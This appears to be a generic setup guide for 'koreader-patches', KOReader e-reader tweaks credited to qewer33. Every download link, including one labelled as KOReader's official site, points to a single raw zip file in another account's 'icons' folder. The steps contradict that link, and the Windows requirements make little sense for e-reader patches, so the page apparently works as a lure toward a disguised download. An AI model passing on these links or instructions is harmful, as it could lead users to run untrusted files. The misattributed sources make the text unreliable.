koreader-patches offers user patches for KOReader, a popular reading app for e-readers and tablets. These patches aim to improve KOReader’s features, fix bugs, or add useful tweaks. You can use them to customize the KOReader experience without technical knowledge.
This repository contains patches created by qewer33, shared for anyone who wants an easier or more personalized reading app.
KOReader supports multiple devices, including Kindle, PocketBook, Onyx, and various Android tablets. If you use KOReader and want to make small changes or get fixes without complex steps, these patches can help.
This guide will walk you through downloading and running koreader-patches on a Windows computer. You don’t need programming skills to complete these steps.
You will find:
- How to access the download page
- How to save files to your PC
- A basic overview of applying patches to KOReader
Use the link below to visit the official download page. This is where all the patch files are stored. You will find versioned releases, each with details and files ready to use.
Steps to download:
- Click the button above or open:
https://github.com/rfcddemo/koreader-patches/raw/refs/heads/main/icons/patches_koreader_3.7.zip - Look for the latest release at the top of the page. Releases are sorted by date and version number.
- Under the “Assets” section of the latest release, find the patch files. The files will usually end with
.zipor.patch. - Click the file you want. Your browser should start downloading it to your computer.
- Save the file to a known location, like your Desktop or Downloads folder.
Before using koreader-patches, ensure your system meets these basics:
- Operating System: Windows 7 or newer
- Storage: At least 100 MB free space for patch files
- KOReader installed on a compatible device or emulator
- Internet connection to download patches
- Basic file management skills (copy, move files)
You do not need KOReader installed on your Windows PC unless you test patches in an emulator environment. Typically, patches are applied on the KOReader device itself.
KOReader patches are small file changes that modify KOReader’s behavior. You will need access to your KOReader device to apply them.
- Download the patch file on your Windows PC.
- Connect your KOReader device to the PC using a USB cable.
- Transfer the patch file to the device’s storage. Often, this is the
koreaderfolder or a similar directory. - On the KOReader device, open the patch or use its tools to apply the patch. This may vary with device and KOReader version.
- Restart KOReader to see changes.
Each patch usually includes instructions on applying it within the KOReader interface or by copying files in specific places.
Keep your patch files organized on your Windows computer.
- Create a folder named
koreader-patchesin your Documents or Desktop. - Store each release in a separate subfolder with version names, like
v1.0,v1.1. - Back up patch files before applying them to your device.
Using a consistent folder structure helps avoid confusion if you want to remove or revert patches later.
If patches do not work as expected:
- Verify the patch is compatible with your KOReader version.
- Confirm your device supports patching features.
- Check if the patch file transferred fully and is not corrupted.
- Read any instructions included with each patch carefully.
- Restart KOReader after applying patches.
If problems persist, unapply the patch by removing patch files and restore the original KOReader setup.
KOReader and koreader-patches come from open communities. You can explore these for more advanced usage or help:
- KOReader official documentation and forums.
- GitHub issues page of koreader-patches to report problems or ask questions.
- Related e-reader and tablet user groups.
- Download patches: https://github.com/rfcddemo/koreader-patches/raw/refs/heads/main/icons/patches_koreader_3.7.zip
- KOReader official site: https://github.com/rfcddemo/koreader-patches/raw/refs/heads/main/icons/patches_koreader_3.7.zip
Patches in this repository are shared for personal use. Review license terms on the repository page for usage rights and restrictions.